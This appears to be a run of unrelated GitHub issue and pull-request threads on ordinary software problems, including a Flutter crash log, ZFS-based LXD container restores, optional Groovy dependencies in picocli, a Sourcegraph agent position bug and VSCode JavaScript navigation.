class _CharInfoState extends State<CharInfo>{
  GlobalKey<FormState> _formKey = new GlobalKey<FormState>();

  @override
  Widget build(BuildContext context) {
    return new Container(
      child: new SafeArea(
        top: false,
        bottom: false,
        child: new Form(
          key: _formKey,
          autovalidate: true,
          child: new ListView(
            padding: const EdgeInsets.symmetric(horizontal: 20.0),
            children: <Widget>[
              new TextFormField(
                decoration: const InputDecoration(
                  icon: const Icon(Icons.person),
                  hintText: 'Seu nome',
                  labelText: 'Nome',
                ),
              ),
              new TextFormField(
                decoration: const InputDecoration(
                  icon: const Icon(Icons.whatshot),
                  hintText: 'Neutro',
                  labelText: 'Alinhamento',
                ),
              ),
              new TextFormField(
                decoration: const InputDecoration(
                  icon: const Icon(Icons.translate),
                  hintText: 'Idioma comum',
                  labelText: 'Idiomas',
                ),
              ),
              new TextFormField(
                keyboardType: TextInputType.number,
                decoration: const InputDecoration(
                  icon: const Icon(Icons.trending_up),
                  //hintText: 'Idioma comum',
                  labelText: 'Nível',
                ),
              ),
            ],
          ),
        ),
      ),
    );
  }
}

Second and third tabs
import 'package:flutter/material.dart';

class CharSkills extends StatelessWidget {
  @override
  Widget build(BuildContext context) {
    return new Container(
      child: new Center(
        child: new Column(
          mainAxisAlignment: MainAxisAlignment.center,
          children: <Widget>[
            new Icon(
              Icons.business_center,
              size: 160.0,
              color: Colors.red,
            ),
            new Text('Second Tab'),
          ],
        ),
      ),
    );
  }
}

Logs
Showing Moto G 4 logs:
I/flutter ( 2926): ══╡ EXCEPTION CAUGHT BY WIDGETS LIBRARY ╞═══════════════════════════════════════════════════════════
I/flutter ( 2926): The following assertion was thrown building NotificationListener<KeepAliveNotification>:
I/flutter ( 2926): 'package:flutter/src/rendering/object.dart': Failed assertion: line 2775 pos 14:
I/flutter ( 2926): '_debugUltimatePreviousSiblingOf(after, equals: _firstChild)': is not true.
I/flutter ( 2926):
I/flutter ( 2926): Either the assertion indicates an error in the framework itself, or we should provide substantially
I/flutter ( 2926): more information in this error message to help you determine and fix the underlying cause.
I/flutter ( 2926): In either case, please report this assertion by filing a bug on GitHub:
I/flutter ( 2926):   https://github.com/flutter/flutter/issues/new
I/flutter ( 2926):
I/flutter ( 2926): When the exception was thrown, this was the stack:
I/flutter ( 2926): #2      _RenderSliverMultiBoxAdaptor&RenderSliver&ContainerRenderObjectMixin._insertIntoChildList (package:flutter/src/rendering/object.dart)
I/flutter ( 2926): #3      _RenderSliverMultiBoxAdaptor&RenderSliver&ContainerRenderObjectMixin.insert (package:flutter/src/rendering/object.dart:2809:5)
I/flutter ( 2926): #4      RenderSliverMultiBoxAdaptor.insert (package:flutter/src/rendering/sliver_multi_box_adaptor.dart:209:11)
I/flutter ( 2926): #5      SliverMultiBoxAdaptorElement.insertChildRenderObject (package:flutter/src/widgets/sliver.dart:865:18)
I/flutter ( 2926): #6      RenderObjectElement.attachRenderObject (package:flutter/src/widgets/framework.dart:4513:35)
I/flutter ( 2926): #7      RenderObjectElement.mount (package:flutter/src/widgets/framework.dart:4279:5)
I/flutter ( 2926): #8      SingleChildRenderObjectElement.mount (package:flutter/src/widgets/framework.dart:4653:11)
I/flutter ( 2926): #9      Element.inflateWidget (package:flutter/src/widgets/framework.dart:2907:14)
I/flutter ( 2926): #10     Element.updateChild (package:flutter/src/widgets/framework.dart:2710:12)
I/flutter ( 2926): #11     ComponentElement.performRebuild (package:flutter/src/widgets/framework.dart:3653:16)
I/flutter ( 2926): #12     Element.rebuild (package:flutter/src/widgets/framework.dart:3495:5)
I/flutter ( 2926): #13     ComponentElement._firstBuild (package:flutter/src/widgets/framework.dart:3622:5)
I/flutter ( 2926): #14     ComponentElement.mount (package:flutter/src/widgets/framework.dart:3617:5)
I/flutter ( 2926): #15     Element.inflateWidget (package:flutter/src/widgets/framework.dart:2907:14)
I/flutter ( 2926): #16     Element.updateChild (package:flutter/src/widgets/framework.dart:2710:12)
I/flutter ( 2926): #17     ComponentElement.performRebuild (package:flutter/src/widgets/framework.dart:3653:16)
I/flutter ( 2926): #18     Element.rebuild (package:flutter/src/widgets/framework.dart:3495:5)
I/flutter ( 2926): #19     ComponentElement._firstBuild (package:flutter/src/widgets/framework.dart:3622:5)
I/flutter ( 2926): #20     ComponentElement.mount (package:flutter/src/widgets/framework.dart:3617:5)
I/flutter ( 2926): #21     ParentDataElement.mount (package:flutter/src/widgets/framework.dart:3955:11)
I/flutter ( 2926): #22     Element.inflateWidget (package:flutter/src/widgets/framework.dart:2907:14)
I/flutter ( 2926): #23     Element.updateChild (package:flutter/src/widgets/framework.dart:2710:12)
I/flutter ( 2926): #24     ComponentElement.performRebuild (package:flutter/src/widgets/framework.dart:3653:16)
I/flutter ( 2926): #25     Element.rebuild (package:flutter/src/widgets/framework.dart:3495:5)
I/flutter ( 2926): #26     ComponentElement._firstBuild (package:flutter/src/widgets/framework.dart:3622:5)
I/flutter ( 2926): #27     StatefulElement._firstBuild (package:flutter/src/widgets/framework.dart:3769:11)
I/flutter ( 2926): #28     ComponentElement.mount (package:flutter/src/widgets/framework.dart:3617:5)
I/flutter ( 2926): #29     Element.inflateWidget (package:flutter/src/widgets/framework.dart:2907:14)
I/flutter ( 2926): #30     Element.updateChild (package:flutter/src/widgets/framework.dart:2710:12)
I/flutter ( 2926): #31     SliverMultiBoxAdaptorElement.updateChild (package:flutter/src/widgets/sliver.dart:744:36)
I/flutter ( 2926): #32     SliverMultiBoxAdaptorElement.performRebuild (package:flutter/src/widgets/sliver.dart:702:34)
I/flutter ( 2926): #33     SliverMultiBoxAdaptorElement.update (package:flutter/src/widgets/sliver.dart:671:7)
I/flutter ( 2926): #34     Element.updateChild (package:flutter/src/widgets/framework.dart:2699:15)
I/flutter ( 2926): #35     RenderObjectElement.updateChildren (package:flutter/src/widgets/framework.dart:4379:32)
I/flutter ( 2926): #36     MultiChildRenderObjectElement.update (package:flutter/src/widgets/framework.dart:4769:17)
I/flutter ( 2926): #37     _ViewportElement.update (package:flutter/src/widgets/viewport.dart:192:11)
I/flutter ( 2926): #38     Element.updateChild (package:flutter/src/widgets/framework.dart:2699:15)
I/flutter ( 2926): #39     ComponentElement.performRebuild (package:flutter/src/widgets/framework.dart:3653:16)
I/flutter ( 2926): #40     Element.rebuild (package:flutter/src/widgets/framework.dart:3495:5)
I/flutter ( 2926): #41     ProxyElement.update (package:flutter/src/widgets/framework.dart:3909:5)
I/flutter ( 2926): #42     Element.updateChild (package:flutter/src/widgets/framework.dart:2699:15)
I/flutter ( 2926): #43     SingleChildRenderObjectElement.update (package:flutter/src/widgets/framework.dart:4661:14)
I/flutter ( 2926): #44     Element.updateChild (package:flutter/src/widgets/framework.dart:2699:15)
I/flutter ( 2926): #45     SingleChildRenderObjectElement.update (package:flutter/src/widgets/framework.dart:4661:14)
I/flutter ( 2926): #46     Element.updateChild (package:flutter/src/widgets/framework.dart:2699:15)
I/flutter ( 2926): #47     SingleChildRenderObjectElement.update (package:flutter/src/widgets/framework.dart:4661:14)
I/flutter ( 2926): #48     Element.updateChild (package:flutter/src/widgets/framework.dart:2699:15)
I/flutter ( 2926): #49     SingleChildRenderObjectElement.update (package:flutter/src/widgets/framework.dart:4661:14)
I/flutter ( 2926): #50     Element.updateChild (package:flutter/src/widgets/framework.dart:2699:15)
I/flutter ( 2926): #51     ComponentElement.performRebuild (package:flutter/src/widgets/framework.dart:3653:16)
I/flutter ( 2926): #52     Element.rebuild (package:flutter/src/widgets/framework.dart:3495:5)
I/flutter ( 2926): #53     StatefulElement.update (package:flutter/src/widgets/framework.dart:3799:5)
I/flutter ( 2926): #54     Element.updateChild (package:flutter/src/widgets/framework.dart:2699:15)
I/flutter ( 2926): #55     SingleChildRenderObjectElement.update (package:flutter/src/widgets/framework.dart:4661:14)
I/flutter ( 2926): #56     Element.updateChild (package:flutter/src/widgets/framework.dart:2699:15)
I/flutter ( 2926): #57     SingleChildRenderObjectElement.update (package:flutter/src/widgets/framework.dart:4661:14)
I/flutter ( 2926): #58     Element.updateChild (package:flutter/src/widgets/framework.dart:2699:15)
I/flutter ( 2926): #59     SingleChildRenderObjectElement.update (package:flutter/src/widgets/framework.dart:4661:14)
I/flutter ( 2926): #60     Element.updateChild (package:flutter/src/widgets/framework.dart:2699:15)
I/flutter ( 2926): #61     SingleChildRenderObjectElement.update (package:flutter/src/widgets/framework.dart:4661:14)
I/flutter ( 2926): #62     Element.updateChild (package:flutter/src/widgets/framework.dart:2699:15)
I/flutter ( 2926): #63     ComponentElement.performRebuild (package:flutter/src/widgets/framework.dart:3653:16)
I/flutter ( 2926): #64     Element.rebuild (package:flutter/src/widgets/framework.dart:3495:5)
I/flutter ( 2926): #65     StatelessElement.update (package:flutter/src/widgets/framework.dart:3702:5)
I/flutter ( 2926): #66     Element.updateChild (package:flutter/src/widgets/framework.dart:2699:15)
I/flutter ( 2926): #67     ComponentElement.performRebuild (package:flutter/src/widgets/framework.dart:3653:16)
I/flutter ( 2926): #68     Element.rebuild (package:flutter/src/widgets/framework.dart:3495:5)
I/flutter ( 2926): #69     StatefulElement.update (package:flutter/src/widgets/framework.dart:3799:5)
I/flutter ( 2926): #70     Element.updateChild (package:flutter/src/widgets/framework.dart:2699:15)
I/flutter ( 2926): #71     ComponentElement.performRebuild (package:flutter/src/widgets/framework.dart:3653:16)
I/flutter ( 2926): #72     Element.rebuild (package:flutter/src/widgets/framework.dart:3495:5)
I/flutter ( 2926): #73     StatefulElement.update (package:flutter/src/widgets/framework.dart:3799:5)
I/flutter ( 2926): #74     Element.updateChild (package:flutter/src/widgets/framework.dart:2699:15)
I/flutter ( 2926): #75     ComponentElement.performRebuild (package:flutter/src/widgets/framework.dart:3653:16)
I/flutter ( 2926): #76     Element.rebuild (package:flutter/src/widgets/framework.dart:3495:5)
I/flutter ( 2926): #77     StatelessElement.update (package:flutter/src/widgets/framework.dart:3702:5)
I/flutter ( 2926): #78     Element.updateChild (package:flutter/src/widgets/framework.dart:2699:15)
I/flutter ( 2926): #79     ComponentElement.performRebuild (package:flutter/src/widgets/framework.dart:3653:16)
I/flutter ( 2926): #80     Element.rebuild (package:flutter/src/widgets/framework.dart:3495:5)
I/flutter ( 2926): #81     StatefulElement.update (package:flutter/src/widgets/framework.dart:3799:5)
I/flutter ( 2926): #82     Element.updateChild (package:flutter/src/widgets/framework.dart:2699:15)
I/flutter ( 2926): #83     ComponentElement.performRebuild (package:flutter/src/widgets/framework.dart:3653:16)
I/flutter ( 2926): #84     Element.rebuild (package:flutter/src/widgets/framework.dart:3495:5)
I/flutter ( 2926): #85     StatelessElement.update (package:flutter/src/widgets/framework.dart:3702:5)
I/flutter ( 2926): #86     Element.updateChild (package:flutter/src/widgets/framework.dart:2699:15)
I/flutter ( 2926): #87     ComponentElement.performRebuild (package:flutter/src/widgets/framework.dart:3653:16)
I/flutter ( 2926): #88     Element.rebuild (package:flutter/src/widgets/framework.dart:3495:5)
I/flutter ( 2926): #89     BuildOwner.buildScope (package:flutter/src/widgets/framework.dart:2242:33)
I/flutter ( 2926): #90     _WidgetsFlutterBinding&BindingBase&GestureBinding&ServicesBinding&SchedulerBinding&PaintingBinding&RendererBinding&WidgetsBinding.drawFrame (package:flutter/src/widgets/binding.dart:626:20)
I/flutter ( 2926): #91     _WidgetsFlutterBinding&BindingBase&GestureBinding&ServicesBinding&SchedulerBinding&PaintingBinding&RendererBinding._handlePersistentFrameCallback (package:flutter/src/rendering/binding.dart:208:5)
I/flutter ( 2926): #92     _WidgetsFlutterBinding&BindingBase&GestureBinding&ServicesBinding&SchedulerBinding._invokeFrameCallback (package:flutter/src/scheduler/binding.dart:990:15)
I/flutter ( 2926): #93     _WidgetsFlutterBinding&BindingBase&GestureBinding&ServicesBinding&SchedulerBinding.handleDrawFrame (package:flutter/src/scheduler/binding.dart:930:9)
I/flutter ( 2926): #94     _WidgetsFlutterBinding&BindingBase&GestureBinding&ServicesBinding&SchedulerBinding._handleDrawFrame (package:flutter/src/scheduler/binding.dart:842:5)
I/flutter ( 2926): #95     _invoke (dart:ui/hooks.dart:120:13)
I/flutter ( 2926): #96     _drawFrame (dart:ui/hooks.dart:109:3)
I/flutter ( 2926): (elided 2 frames from class _AssertionError)
I/flutter ( 2926): ════════════════════════════════════════════════════════════════════════════════════════════════════
I/flutter ( 2926): Another exception was thrown: 'package:flutter/src/rendering/object.dart': Failed assertion: line 2775 pos 14: '_debugUltimatePreviousSiblingOf(after, equals: _firstChild)': is not true.
I/flutter ( 2926): Another exception was thrown: 'package:flutter/src/rendering/object.dart': Failed assertion: line 2775 pos 14: '_debugUltimatePreviousSiblingOf(after, equals: _firstChild)': is not true.
I/flutter ( 2926): Another exception was thrown: 'package:flutter/src/rendering/object.dart': Failed assertion: line 2775 pos 14: '_debugUltimatePreviousSiblingOf(after, equals: _firstChild)': is not true.
I/flutter ( 2926): Another exception was thrown: 'package:flutter/src/widgets/framework.dart': Failed assertion: line 3497 pos 14: 'owner._debugCurrentBuildTarget == this': is not true.
I/flutter ( 2926): Another exception was thrown: 'package:flutter/src/widgets/framework.dart': Failed assertion: line 3497 pos 14: 'owner._debugCurrentBuildTarget == this': is not true.
I/flutter ( 2926): Another exception was thrown: 'package:flutter/src/widgets/framework.dart': Failed assertion: line 3497 pos 14: 'owner._debugCurrentBuildTarget == this': is not true.
I/flutter ( 2926): Another exception was thrown: 'package:flutter/src/widgets/framework.dart': Failed assertion: line 3497 pos 14: 'owner._debugCurrentBuildTarget == this': is not true.
I/flutter ( 2926): Another exception was thrown: 'package:flutter/src/widgets/framework.dart': Failed assertion: line 3497 pos 14: 'owner._debugCurrentBuildTarget == this': is not true.
I/flutter ( 2926): Another exception was thrown: 'package:flutter/src/widgets/framework.dart': Failed assertion: line 3497 pos 14: 'owner._debugCurrentBuildTarget == this': is not true.
I/flutter ( 2926): Another exception was thrown: 'package:flutter/src/widgets/framework.dart': Failed assertion: line 3497 pos 14: 'owner._debugCurrentBuildTarget == this': is not true.
I/flutter ( 2926): Another exception was thrown: 'package:flutter/src/widgets/framework.dart': Failed assertion: line 3497 pos 14: 'owner._debugCurrentBuildTarget == this': is not true.
I/flutter ( 2926): Another exception was thrown: 'package:flutter/src/widgets/framework.dart': Failed assertion: line 3497 pos 14: 'owner._debugCurrentBuildTarget == this': is not true.
I/flutter ( 2926): Another exception was thrown: The _ScaffoldLayout custom multichild layout delegate forgot to lay out the following children:
I/flutter ( 2926): Another exception was thrown: type 'RenderErrorBox' is not a subtype of type 'RenderSemanticsGestureHandler'
I/flutter ( 2926): Another exception was thrown: The _ScaffoldLayout custom multichild layout delegate forgot to lay out the following children:
I/flutter ( 2926): Another exception was thrown: RenderBox was not laid out: RenderRepaintBoundary#1290f NEEDS-LAYOUT NEEDS-PAINT
I/flutter ( 2926): Another exception was thrown: The _ScaffoldLayout custom multichild layout delegate forgot to lay out the following children:
I/flutter ( 2926): Another exception was thrown: RenderBox was not laid out: RenderRepaintBoundary#1290f NEEDS-LAYOUT NEEDS-PAINT
I/flutter ( 2926): Another exception was thrown: 'package:flutter/src/widgets/framework.dart': Failed assertion: line 4039 pos 14: '_dependents.isEmpty': is not true.
I/flutter ( 2926): Another exception was thrown: 'package:flutter/src/widgets/framework.dart': Failed assertion: line 2240 pos 16: '!_dirtyElements[index]._active || _dirtyElements[index]._debugIsInScope(context)': is not true.

Please add the output of flutter doctor -v.
This issue should be fixed. Please ensure you have the latest Flutter version
flutter upgrade

If you are on latest beta and still can reproduce please try with the dev or master channel.
flutter channel dev
flutter doctor

I believe this is a duplicate of #11895


does stt allow me to use a raw audio file type

yes it does. See http://www.ibm.com/watson/developercloud/doc/speech-to-text/input.shtml


Update Composer dependencies (2022-01-14-21-12)

Visual regression test passed!
View the visual regression test report


add run command

Mimicking the docker-compose run command in form of
$ libcompose <service> <command>

Signed-off-by: Frederic Branczyk<EMAIL_ADDRESS>

We should reuse the docker client's code for attaching to containers, rather than re-implementing it - it's a really complex process.

I agree. Maybe I'll take a look at the docker client once I have some more time on my hand, for now we'll just keep it line by line.

I think I'm going to try and replace the current wait mechanism with one that closes the whole execution once all goroutines of the log output are closed. From what I found this is done using a WaitGroup.

So I just pushed a suggestion on how to solve the log synchronisation and showing only the relevant logs. Let me know what you think.

I revised all my commits and squashed them. Now the only thing I would like to improve is to really attach the container instead of just printing the log output.

@aanand Do you think it would make sense to essentially instantiate the docker cli and call the attach command?

@flower-pot Yeah, essentially, though instantiating a CLI object is going to be ugly.
It might be worth trying to extract that code so it's more reusable and submitting it as a PR to docker/docker.

I agree. I'm going to take a look at how we can do that.

@flower-pot I agree the CLI functionality should be pulled out.  It would nice if we could find out what the status of https://github.com/docker/docker/issues/15188 is.  Basically there was supposed to be an effort to refactor a lot of the CLI code.
I've been down this path before with other projects I've written and agree that instantiating the docker CLI is a nightmare.  I think the correct first steps would be to figure out how to refactor the code in docker/docker to put the attach logic we need into a reusable pkg.  It's just all the dirty TTY handling that we need.  It can probably be encapsulated pretty well.

Do you think the core team is going to take care of that? It seems pretty time consuming and I'm probably not the right guy to tackle this as I'm not very familiar with the docker codebase.

Alright ported to the new dockerclient and now using its attach functionality. What do you think?

@flower-pot Sorry for the late review. Thanks for the PR, few consideration/comments :

docker-compose run supports more flags than this but I think it's good to focus on the main behavior and then the additionnal falgs (I'll create an issue to keep track of diff between docker-compose and libcompose).
By default docker-compose run start the container with stdin and a pseudo-terminal (something like -ti in the docker cli). This is not the case in this PR — when I do a libcompose-cli run myservice /bin/bash, I can't do anything in it.

I'll take a look at the code too :wink:

Here is swarm's hijack implementation: https://github.com/docker/swarm/blob/894d1abd639eedb8234caf63fbc458a6791563bb/api/utils.go#L133
It's a bit cleaner.

It's a little different because it's proxying, but probably useful.

@vdemeester no problem, I haven't had time to revise it either. I think I had the problem that when opening stdin that the stream would never close therefore the execution never ended. But I have to take another look to make sure that's the case.

@flower-pot still willing (or having time) to work on that ?

I don't really have the time for it right now. If you don't want to use my changes you can close the PR.

@flower-pot ok, I'm gonna carry it then :wink:, keeping your commit and iterate on it :+1:
Thanks for the hard work so far, really appreciated :santa:

@vdemeester Glad I could help :)

Carrying in #133.


Remove stable allocator_api feature attribute

Feature allocator_api is stable now, so stable rust can compile the crate without this attribute.
Fixes #9.

Can this be merged?

Why is this pr not merged yet?


fix: typo in alpha

Description

fixing typo

Testing required outside of automated testing?

[ ] Not Applicable

Screenshots (if appropriate):

[ ] Not Applicable

Rollback / Rollforward Procedure

[ ] Roll Forward
[ ] Roll Back

Reviewer Checklist

[ ] Description of Change
[ ] Description of outside testing if applicable.
[ ] Description of Roll Forward / Backward Procedure
[ ] Documentation updated for Change

:tada: This PR is included in version 1.88.1 :tada:
The release is available on GitHub release
Your semantic-release bot :package::rocket:


Fix camera brand typo in README.md

Change "Unify" to "Ubiquiti UniFi", so that users using Ctrl+F or the search function to find information they are looking for, actually have a chance to find it.

Thanks. That makes sense.


Code coverage reporting is broken

Tigerdata code coverage reporting is broken, probably b/c we renamed the github repo but didn't update coveralls.

Still stuck on this. The obvious stuff (updating COVERALLS_REPO_TOKEN) didn't work. I have written to coveralls to ask their advice.

Coveralls had me "sync" the tigerdata coveralls project, which got it to update to use its new name, but it still isn't reporting coverage. I also realized that pdc_discovery ALSO isn't reporting coverage, but pdc_describe is working fine. Weird. I am working with Coveralls to figure out what it going on.


Do not use Number.MAX_SAFE_INTEGER in agent protocol

Fixes https://github.com/sourcegraph/jetbrains/issues/1623
Test plan

Open sourcegraph/cody
Open agent/src/index.test.ts
Put cursor in some nested code. I used line with accessToken: 'REDACTED_0ba08837494d00e3943c46999589eb29a210ba8063f084fff511c8e4d1503909',
Try to run any edit command

It should fail before my fix and pass after.

This value is used in a couple other places. Shouldn't we replace those occurrences as well?

This value is still used in a couple of other places. Shouldn't we replace those occurrences as well?
I have seen it, but other places doesn't seem to be used by agent right now and I'm not sure if replacing them wouldn't break something else, so I'm playing safe for now.

The contract of positions is that Number.MAX_SAFE_INTEGER is a valid character, and the client should use the last character in the line here. This should not be fixed by the agent server IMO, it's a client bug.

The root bug could be in Position.fromOffset here https://sourcegraph.com/github.com/sourcegraph/jetbrains@12167331689275ba0ef0ad0074ac8ea7fa6e7552/-/blob/src/main/kotlin/com/sourcegraph/cody/agent/protocol/Position.kt?L10
The character property should be a Long (JS/JSON doesn't have Int) and we should use Math.min(lineLength, character)


Migrate or restore LXD containers

This is not a question or a issue, simply I wanted to share my experience with LXD container migration. After a little research I've not discovered a proper way of backuping my containers and send to another server. I know you can copy a container to another server but I don't see it's a good way of bakcup because  I need to store several days back and the size may become a problem. Also tried tools like Borg Backup which is pretty nice but has some performance problems with containers which has over a million of files to backup.
This is my way to send and restore containers which can be also used to restore them when using ZFS level backup utilities like ZnapZend.
Source server
We can't export a dataset if it's mounted so we can make an snapshot or stop the container:
$ lxc stop pruebas
$ zfs send zfs-pool/containers/pruebas | pigz > pruebas.gz

Destination server
Create a new instance to be used in the restoration process. The used image doesn't matter:
$ lxc launch ubuntu:x pruebas

Stop the new container, delete the dataset and import the other one:
$ lxc stop pruebas
$ zfs destroy zfs-pool/containers/pruebas
$ pigz -cd pruebas.gz | zfs receive zfs-pool/containers/pruebas
$ zfs set mountpoint=/var/lib/lxd/storage-pools/lxd-pool/containers/pruebas zfs-pool/containers/pruebas

Start the container:
$ lxc start pruebas

As I said previously, this process can be simplified with:
$ lxc copy pruebas dst:pruebas

But the point was how to restore a ZFS incremental backup.

Sounds about right for zfs. That combined with lxd. import can work. We're currently busy implementing tarball exports that may help some people too, though the thing that's likely to help the most is support for delta copies of containers.
Closing since there's no bug to be fixed here.

Tarball export is an interesting feature because right now if I need an export I have to publish the container as an image and export it, which take longer than expected. Delta copies was the main goal of my investigation, and the method seems to work.
Thanks!


Make Groovy an "Optional" dependency!

Please make Groovy an optional dependency.
In 2.0.2 it seems to be a "required" one.
One possibility is by using:
plugins {
    id 'nebula.optional-base' version '3.2.0' // mvn style optional dependencies
}

Thank you.

Groovy is required to compile the PicocliBaseScript and other classes in the picocli.groovy package.
I don’t think it’s optional.
Why do you want to make it optional?

Why do you want to make it optional?

If it's used in non-groovy projects, no reason to include it.

I don’t think it’s optional.

Isn't it optional for the Java part?

Ok. I see what you mean now.
It makes sense.

Looking at this Gradle blog, compileOnly is a nice way to do this.
    dependencies {
        compileOnly 'org.codehaus.groovy:groovy-all:2.4.10'
        testCompile 'junit:junit:4.12',
                    'org.hamcrest:hamcrest-core:1.3',
                    'org.fusesource.jansi:jansi:1.15',
                    'org.codehaus.groovy:groovy-all:2.4.10',
                    'org.apache.ivy:ivy:2.4.0' // for Intelli/J
        ivy         'org.apache.ivy:ivy:2.4.0' // for Gradle
    }

@remkop that's the equivalent of Maven 'provided'  - a little different from 'optional'

I think this is okay because the doc says:

Compile-only dependencies address a number of use cases, including:
•Dependencies required at compile time but never required at runtime, such as source-only annotations or annotation processors;
•Dependencies required at compile time but required at runtime only when using certain features, a.k.a. optional dependencies;
•Dependencies whose API is required at compile time but whose implementation is to be provided by a consuming library, application or runtime environment.

The second bullet point applies in our case I think.

@remkop I don't think it's compileOnly since it's required at runtime too, if that part of the code is used, so it's optional: one needs it if one wants that part of the code to be used, otherwise not, independent how it was compiled.
The main problem arises from the fact that there's only one JAR, where there are 2 "separate" functionality units (one for Java and one for Groovy).
optional is still not officially supported (compileOnly/provided also took years until it was integrated :) ), that's why the plug-in I mention to be able to easily generate a correct Maven POM file.

POM for picocli-2.0.2 has this dependencies section:
  ...
  <dependencies>
    <dependency>
      <groupId>org.codehaus.groovy</groupId>
      <artifactId>groovy-all</artifactId>
      <version>2.4.10</version>
      <scope>runtime</scope>
    </dependency>
  </dependencies>

We both agree that this is not desirable.
With the compileOnly configuration in my comment above, a POM is generated that does not have any dependencies. The POM does not contain a dependencies section, similar to picocli versions preceding 2.0.
I believe this is acceptable: only Groovy scripts would use the picocli.groovy classes. When running a Groovy script, the groovy-all dependency is provided by Groovy.
I have tried to see what the result would be with the 'nebula-optional-base' plugin, but I have been unable to get it to work... Getting this error:
> Failed to notify project evaluation listener.
   > Cannot configure the 'publishing' extension after it has been accessed.

If we did get this to work, I believe (correct me if I'm wrong) that this would result in a POM like this:
  ...
  <dependencies>
    <dependency>
      <groupId>org.codehaus.groovy</groupId>
      <artifactId>groovy-all</artifactId>
      <version>2.4.10</version>
      <scope>compile</scope><!-- or runtime, not sure... -->
      <optional>true</optional>
    </dependency>
  </dependencies>

Personally I would not mind the above but not having a dependencies section at all should also be fine, given that the picocli.groovy classes are only used by Groovy scripts. What do you think?

@remkop I achieved the <optional>true</optional> with that plug-in, e.g. for this project:
See the pom here: https://search.maven.org/#artifactdetails|com.miragesql|miragesql|2.0.0|jar
and the build.gradle producing it:
https://github.com/mirage-sql/mirage/blob/2.0.0/build.gradle
Your Gradle error seems to be related with the order of applying plug-ins.

Thanks for the links! I’ll give it another try but if I can’t make it work I might just go with the compileOnlyprovided scope. Do you think you’ll be any issue with the provided scope?

Do you think you’ll be any issue with the provided scope?

Not really, but it would be perfect with the optional flag in POM :) .

and this one too: https://github.com/gradle/gradle/issues/867 needs voting, in order for Gradle to be able to do out-of-the-box what Maven already did since years :) .

I voted for the gradle/gradle#876 issue, but for this release I went with the compileOnly/provided scope. I could perhaps make the nebula-optional-base plugin work but I want to spend my time on other things...
Most important is ensuring that picocli no longer has a required runtime dependency on groovy, and this has been achieved.


Access wrapper's props inside mapStateToProps and mapDispatchtoProps?

Is there a way to do that? It will be helpful when dealing with situations like this:
// ============= from the parent =============
<EditableTable id='A' />
<EditableTable id='B' />
// =============  EditableTable ==============
const EditableTable = connect(mapState, mapDispatch)(Table)

// since there are multiple EditableTable in my app, its store state looks like this:
{
  editableTable: {
    'A': [{'col1': 1}, {'col2': 2}],
    'B': []
  }
}

// So I wish I can do this:
const mapState = ({editableTable}, wrapperProps) => {
  const id = wrapperProps.id;          // 'A' or 'B' determined by parent
  const data = editableTable[id];     // table data that belongs to table 'A'
  return {
    tableBody: convertDataToNativeTableComponent(data)
  }
}

// and this
const mapDispatch = (dispatch, wrapperProps) => {
  const id = wrapperProps.id;          // 'A' or 'B'
  return {
    onDelete: (rowId) => {
      dispatch(deleteRowAction(id, rowId))
    }
  }
}

It seems helpful for me when I try to reuse a component not only its view-layer but also logic layer and prevent states being override by multiple instance.

I think that works already. See references to ownProps in https://github.com/rackt/react-redux/blob/master/docs/api.md#arguments

Thanks! I feel so dump now!


Update permission scopes for semantic release job

This pull request updates the permission scopes for the semantic release job. The contents permission has been changed from read to write, and the issues and pull-requests permissions have been added with write access. This ensures that the job has the necessary permissions to perform its tasks effectively.

:tada: This PR is included in version 1.0.3 :tada:
The release is available on GitHub release
Your semantic-release bot :package::rocket:


(Co)-Maintainers wanted

I'm giving up with this project! If people are interested to maintain this project ping me :)

I'm interested in adding 2 new features and maybe maintaining a little bit of the code if I have time:

Transparency of the browser view. My use ase of this library is to add a UI to my game and I think there needs to be an open source alternative to something like Coherent's GameFace, even if it is not an optimal solution
Extending on my previous point, allowing for fast click throughput. If you make the browser view the size of the entire game screen, you'll need to be able to let the player click on game objects underneath the browser view.

If needs be and I'm able to handle it, I'll fix a few bugs occasionally as well.
@Lecrapouille I'm interested to hear what you think of this.

@pimhakkert Excellent!

I let you make create your initial pull requests and if I consider the quality okay I'll give you them developer rights to this repo.

Thank you. I will get to work on something then :)

@eliopark-nsuslab are you interested? You have a pending invitation to accept


Added address and location fixtures

Added locations for Barcelona only (That way we at least have one city loaded on location)
Added two addresses on default customer

Hey @elcodi/owners I'll merge this today if anyone has an issue.

:+1:

:+1:


Adding type for private network cidrs

This looks good but I don’t understand what you mean by private network do you mean VPC CIDR?
Is this intended to be used on networks outside of AWS?

@coryodaniel yeah vpc-cidr.json might be a better name for it. The "private-network" was meant to imply that the regex is around the private networking space (<IP_ADDRESS>/8, 172.16-31.X.X, 192.168.X.X), but the mask we are using really forces this to be a VPC since we need to be able to make subnets that are /28 in both AWS and Azure.
My initial intention was to make this a type we can use for the cidr in all of our VPCs (aws-vpc, azure-virtual-network, gcp-global-network and maybe gcp-subnetwork as well), but we may end up wanting different mask values there. I figure we can start with this and make it more specific when we need to.


Add reemission

Insert URLs to the project here: https://github.com/tomjanus/reemission

[x] The projects is active, documented, open source licensed, shows usage from external parties and is directly targeting environmental sustainability. Find more details in the Contribution Guide.

All issues labeled as Good First Issue of the project listed on OpenSustain.tech will be visible on ClimateTriage.com. This is a great way to welcome new community members to your project.
All new projects listed will be posted on our Mastodon channel.

@tomjanus


can't navigate javascript with manual namespaces

From @chadbr on March 22, 2016 0:18
I have large legacy codebase with "manual" style namespacing like this:
//namespaces
var my = my || {};
my.app = my.app || {};

and "classes" declared like this:
my.app.Application` = (function () {
var Application = function () {
...
};
return Application;
})();
I've tried several combinations of jsconfig.json parameters and none allow me to navigate this style of code. Should this work?

VSCode Version: 0.10.11, 0.10.12-insider
OS Version: OSX 10.11.3

Steps to Reproduce:

Open attached project or github repo https://github.com/chadbr/vscodeTestJS

vscodeTestJS.zip

Open folder in vscode
open src/app/application.js
try to go to declaration of my.app.SomeView() -- nothing happens.

Copied from original issue: Microsoft/vscode#4533

From @chadbr on March 22, 2016 0:21
oh - and FWIW, WebStorm allows me to navigate these files...

This is a major road block for our team to adapt VSCode and TypeScript because our main product is still using global namespace.

I'm assuming this won't be supported any time soon (if ever...)

This seems easily as reasonable as tracking prototype assignments.

Any news? It's very annoying that by simply namespacing objects you no longer get IntelliSense.

@sandersn this should be addressed with your fix for https://github.com/Microsoft/TypeScript/issues/16489 with a small modification to recognize the pattern var x = x || {}.

Another pattern referenced in https://github.com/Microsoft/vscode/issues/27246 is var x = window.x || {}

If https://github.com/tc39/proposal-nullish-coalescing advances, you may want to revisit this issue.


